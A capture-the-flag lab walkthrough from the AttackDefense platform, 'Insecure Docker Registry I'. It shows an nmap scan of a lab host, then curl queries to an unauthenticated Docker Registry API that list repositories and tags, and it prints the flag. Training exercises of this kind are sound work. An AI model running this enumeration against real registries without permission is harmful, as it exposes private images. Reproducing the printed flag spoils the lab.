

## The image features a word cloud in the shape of the map of India. The words are arranged to fit the geographical outline. The most prominent words, shown in larger fonts, include "ATTACK", "DEFENSE", "LABS", "COURSES", "PENTESTER ACADEMY", "RED TEAM", "ACCESS POINT", "TOOL BOX", "TRAINING", "HACKER", "PATV", "WORLD-CLASS TRAINERS", "PENTESTING", "TEAM LABS", "ACADEMY", "POINT", "DEFENSE L", "ACCESS P", "WORLD-CLAS", "TRAINING", "SPATV ACCESS", "PENTESTER ACADEN", "COURSES PENTESTER ACA", "PENTESTER ACADEMY ATTACK DEFENSE LABS", "TOOL BOX WORLD-CI", "TRAINING CO", "PENTESTER ACADEMY TOOL BOX", and "PENTESTING". The words "ATTACK" and "DEFENSE" are the largest and are colored red and dark blue respectively, while the others are in shades of gray. The background is white.

<b>Name</b>	Insecure Docker Registry I
<b>URL</b>	<a href="https://www.attackdefense.com/challengedetails?cid=1024">https://www.attackdefense.com/challengedetails?cid=1024</a>
<b>Type</b>	DevSecOps : Docker Registry

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Step 1:** Run an Nmap scan against the target IP

Command: `nmap -p- -sV 192.10.151.3`

```
root@attackdefense:~# nmap -p- -sV 192.10.151.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-13 18:54 UTC
Nmap scan report for 6u6b4mdd72g8hhekokos1zlib.temp-network_a-10-151 (192.10.151.3)
Host is up (0.000025s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE VERSION
5000/tcp  open  http    Docker Registry (API: 2.0)
MAC Address: 02:42:C0:0A:97:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.09 seconds
root@attackdefense:~#
```

**Step 2:** We have discovered a Docker Registry running on the target machine. We can use curl to interact with the API and list all repositories present in the registry.

Command: `curl http://192.10.151.3:5000/v2/_catalog`

```
root@attackdefense:~#
root@attackdefense:~# curl http://192.10.151.3:5000/v2/_catalog
{"repositories":["alpine","flag","ubuntu"]}
root@attackdefense:~#
```

**Step 3:** Similarly, list all tags for each repository.

Command: `curl http://192.10.151.3:5000/v2/flag/tags/list`

```
root@attackdefense:~# curl http://192.10.151.3:5000/v2/alpine/tags/list
{"name":"alpine","tags":["latest"]}
root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~# curl http://192.10.151.3:5000/v2/flag/tags/list
{"name":"flag","tags":["b2929842a9ab2a4506cbfd1a69cb6785"]}
root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~# curl http://192.10.151.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["12.04","18.04","14.04","16.04"]}
root@attackdefense:~#
```

This reveals the flag to us.

**Flag:** b2929842a9ab2a4506cbfd1a69cb6785

## References

1. Docker (<https://www.docker.com/>)
2. Docker Registry API (<https://docs.docker.com/registry/spec/api/>)